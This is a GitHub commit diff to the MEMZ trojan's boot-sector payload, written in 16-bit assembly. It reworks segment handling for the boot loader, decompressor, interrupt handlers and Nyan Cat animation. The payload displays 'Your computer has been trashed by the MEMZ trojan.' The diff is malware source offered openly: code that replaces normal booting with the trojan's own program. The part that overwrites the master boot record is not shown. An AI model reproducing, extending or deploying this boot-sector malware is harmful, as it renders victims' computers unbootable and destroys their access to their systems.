Merge pull request #30 from Mintz98/master

i added segmentation, now the code can be 64K
This commit is contained in:
Leurak 2017-05-12 19:09:17 +02:00 committed by GitHub
commit e2437acf45
14 changed files with 121 additions and 75 deletions

View file

@ -1,28 +1,33 @@
start: start:
xor bx, bx ; Dump compressed data to segment 1000:0000 instead
mov bx, 0x1000
mov es, bx mov es, bx
mov ds, bx
; Read from disk ; Read from disk
mov ax, 0x0208 mov ax, 0x0208
mov cx, 0x0002 mov cx, 0x0002
mov dh, 0 mov dh, 0
mov bx, compressed xor bx, bx ; (ip: address 0)
int 13h int 13h
; Source segment DS (1000:0000)
push es
pop ds
; Target 2000:0000 segment for uncompressed data
mov ax, 0x2000
mov es, ax
xor ax, ax xor ax, ax
mov bx, ax mov bx, ax
mov cx, ax mov cx, ax
mov dx, ax mov dx, ax
mov di, ax
mov si, compressed mov si, ax
mov di, decompressed
jmp readcommand
readcommand: readcommand:
lodsb lodsb
cmp si, compressed+compsize cmp si, compsize
jae exit jae exit
cmp al, 128 cmp al, 128
@ -50,20 +55,23 @@ olddata:
mov bx, ax mov bx, ax
lodsb lodsb
push ds
push 0x2000
pop ds
mov dx, si mov dx, si
mov si, bx mov si, bx
add si, decompressed mov cl, al
mov cl, al
oldnextbyte: oldnextbyte:
lodsb lodsb
stosb stosb
dec cl loop oldnextbyte
cmp cl, 0
jne oldnextbyte
mov si, dx mov si, dx
pop ds
jmp readcommand jmp readcommand
exit: exit:

View file

@ -1,11 +1,28 @@
use16 use16
org 0x7c00 org 0x7c00
compressed: equ 0x7e00 ;setup cpu
decompressed: equ 0x8E00
;correct cs
jmp 0x0000:correct_cs
correct_cs:
; setup stack properly
cli
xor ax, ax
mov ss, ax
mov sp, 0x7BF0
sti
%include "decompress.asm" ; Decompress Code & Data %include "decompress.asm" ; Decompress Code & Data
jmp decompressed ; Jump to the decompressed Data, booting the actual Kernel
; Prepare the CPU segments
mov ax, 0x2000
mov ds, ax
mov es, ax
jmp 0x2000:0x0000 ; Jump to the decompressed Data, booting the actual "Kernel"
; Boot sector signature ; Boot sector signature
times 510 - ($ - $$) db 0 times 510 - ($ - $$) db 0
@ -17,4 +34,4 @@ compsize: equ $-comp
; Align it to sectors ; Align it to sectors
;align 512 ;align 512
times 4096 - ($ - $$) db 0 times 4096 - ($ - $$) db 0

View file

@ -1,6 +1,10 @@
drawIntroFrame: drawIntroFrame:
push es
push 0xb800
pop es
; Increase the frame tick counter to make the intro run faster ; Increase the frame tick counter to make the intro run faster
mov byte [cs:frameTickCounter], 5 mov byte [frameTickCounter], 5
; Check if message is already fully displayed ; Check if message is already fully displayed
cmp si, messageLength cmp si, messageLength
@ -9,12 +13,14 @@ drawIntroFrame:
mov di, si mov di, si
imul di, 2 imul di, 2
mov byte al, [cs:si+message] mov byte al, [si+message]
mov byte [es:di], al mov byte [es:di], al
mov byte [es:di+1], 0xf0 mov byte [es:di+1], 0xf0
inc si inc si
mov [cs:frameIndex], si mov [frameIndex], si
.end: ret .end:
pop es
ret

View file

@ -1,5 +1,9 @@
drawNormalFrame: drawNormalFrame:
mov ax, [cs:nyanTimeBin] push es
push 0xb800
pop es
mov ax, [nyanTimeBin]
mov dx, 0 mov dx, 0
mov bx, 10 mov bx, 10
div bx div bx
@ -21,6 +25,8 @@ drawNormalFrame:
inc di inc di
loop .draw loop .draw
mov [cs:frameIndex], si mov [frameIndex], si
.end: ret .end:
pop es
ret

View file

@ -1,5 +1,10 @@
initDrawing: initDrawing:
setVideoMemory
; Set the extra segment to video memory
push es
push 0xb800
pop es
mov di, 0 mov di, 0
mov ax, 0x00DC mov ax, 0x00DC
@ -16,5 +21,7 @@ initDrawing:
mov al, 0xDC mov al, 0xDC
mov cx, frameSize - nyanTimeVideoStart/2 - nyanTimeStringLen mov cx, frameSize - nyanTimeVideoStart/2 - nyanTimeStringLen
rep stosw rep stosw
pop es
ret ret

View file

@ -5,9 +5,14 @@ nyanTimeVideoStart: equ 3840
nyanTimeBin dw 0 nyanTimeBin dw 0
countNyan: countNyan:
setVideoMemory ; Set the extra segment to video memory
push es
push 0xb800
pop es
mov di, 0
inc word [cs:nyanTimeBin] inc word [nyanTimeBin]
mov bx, nyanTimeStringLen*2 mov bx, nyanTimeStringLen*2
@ -34,4 +39,6 @@ countNyan:
cmp bx, 0 cmp bx, 0
jne .loop jne .loop
.end: ret .end:
pop es
ret

View file

@ -4,15 +4,16 @@ frameSize: equ (80*50) / 2 ; Raw binary size of a frame
lastFrame: equ special lastFrame: equ special
displayFrame: displayFrame:
setVideoMemory ; Set the extra segment to video memory
push es
push 0xb800
pop es
mov di, 0
; Set data section mov si, [frameIndex]
mov cx, 0
mov ds, cx
mov si, [cs:frameIndex] cmp word [soundIndex], lastIntroNote
cmp word [cs:soundIndex], lastIntroNote
ja .normalFrame ja .normalFrame
jne .introFrame jne .introFrame
@ -37,12 +38,14 @@ displayFrame:
call drawNormalFrame call drawNormalFrame
; Reset frame index when the last frame has been reached ; Reset frame index when the last frame has been reached
cmp word [cs:frameIndex], lastFrame cmp word [frameIndex], lastFrame
jb .end jb .end
mov word [cs:frameIndex], frames mov word [frameIndex], frames
.end: ret .end:
pop es
ret
%include "Animation/Image/initDrawing.asm" %include "Animation/Image/initDrawing.asm"
%include "Animation/Image/drawIntroFrame.asm" %include "Animation/Image/drawIntroFrame.asm"
%include "Animation/Image/drawNormalFrame.asm" %include "Animation/Image/drawNormalFrame.asm"

View file

@ -5,11 +5,8 @@ soundIndex dw song
soundWait db 0 soundWait db 0
playNote: playNote:
; Set Data section
mov cx, 0
mov ds, cx
mov si, [cs:soundIndex] mov si, [soundIndex]
cmp si, lastNote cmp si, lastNote
jb .nextNote jb .nextNote
@ -18,8 +15,8 @@ playNote:
mov si, lastIntroNote mov si, lastIntroNote
.nextNote: .nextNote:
dec byte [cs:soundWait] dec byte [soundWait]
cmp byte [cs:soundWait], -1 cmp byte [soundWait], -1
jne .end jne .end
lodsw lodsw
@ -32,8 +29,8 @@ playNote:
out 0x42, al out 0x42, al
shr ch, 5 shr ch, 5
mov [cs:soundWait], ch mov [soundWait], ch
mov [cs:soundIndex], si mov [soundIndex], si
.end: ret .end: ret

View file

@ -14,4 +14,4 @@ keyboardHandler:
onKey 0x1F, speedUp ; Speed up the main timer when S is pressed onKey 0x1F, speedUp ; Speed up the main timer when S is pressed
finishInterrupt finishInterrupt

View file

@ -17,8 +17,8 @@ nyanTickCounter db 0
timerHandler: timerHandler:
startInterrupt startInterrupt
onTimer [cs:frameTickCounter], 8, displayFrame onTimer [frameTickCounter], 8, displayFrame
onTimer [cs:noteTickCounter], 12, playNote onTimer [noteTickCounter], 12, playNote
onTimer [cs:nyanTickCounter], 10, countNyan onTimer [nyanTickCounter], 10, countNyan
finishInterrupt finishInterrupt

View file

@ -7,9 +7,6 @@ mov ax, 0x1003
mov bl, 0 mov bl, 0
int 10h int 10h
; Put the stack somewhere safe
mov sp, 0x2000
; Setup the main timer ; Setup the main timer
%include "Setup/setupTimer.asm" %include "Setup/setupTimer.asm"
@ -20,4 +17,4 @@ mov sp, 0x2000
%include "Setup/setupSpeaker.asm" %include "Setup/setupSpeaker.asm"
; Setup the screen and Nyan Counter ; Setup the screen and Nyan Counter
call initDrawing call initDrawing

View file

@ -13,16 +13,13 @@
%macro setupInterrupt 2 %macro setupInterrupt 2
; Set the right segments ; Set the right segments
mov bx, 0x0000 push ds
mov es, bx push 0x0000
pop ds
; Register the handler ; Register the handler
mov word [es:(%1+8)*4], %2 ; Interrupt Handler mov word [(%1+8)*4], %2 ; Interrupt Handler
mov word [es:(%1+8)*4+2], 0 ; Segment 0x0000 mov word [(%1+8)*4+2], 0x2000 ; Segment 0x2000
%endmacro
pop ds
%macro setVideoMemory 0
; Set the extra segment to video memory
mov cx, 0xb800
mov es, cx
%endmacro %endmacro

View file

@ -3,7 +3,7 @@ currentClock dw defaultClock
; Updates the current timer value ; Updates the current timer value
setTimer: setTimer:
mov ax, [cs:currentClock] mov ax, [currentClock]
out 0x40, al out 0x40, al
mov al, ah mov al, ah
out 0x40, al out 0x40, al
@ -20,7 +20,7 @@ clockDiv equ 3
; Speeds up the current timer ; Speeds up the current timer
speedUp: speedUp:
mov ax, [cs:currentClock] mov ax, [currentClock]
mov bx, clockPreMul mov bx, clockPreMul
mul bx mul bx
@ -35,7 +35,7 @@ speedUp:
mov ax, minClock mov ax, minClock
.resetTimer: .resetTimer:
mov [cs:currentClock], ax mov [currentClock], ax
call setTimer call setTimer
ret ret

View file

@ -1,13 +1,14 @@
; This is where the program starts after decompression ; This is where the program starts after decompression
use16 use16
org 0x8E00 org 0
%include "Utils/macros.asm" %include "Utils/macros.asm"
%include "Setup/setup.asm" %include "Setup/setup.asm"
; Everything should be already set up, so the only ; Everything should be already set up, so the only
; thing we need to do here is to wait for interrupts ; thing we need to do here is to wait for interrupts
haltLoop: haltLoop:
hlt hlt
jmp haltLoop jmp haltLoop
@ -41,4 +42,4 @@ song: incbin "../../Build/song.bin"
songLength: equ $-song songLength: equ $-song
message: db "Your computer has been trashed by the MEMZ trojan. Now enjoy the Nyan Cat..." message: db "Your computer has been trashed by the MEMZ trojan. Now enjoy the Nyan Cat..."
messageLength: equ $-message messageLength: equ $-message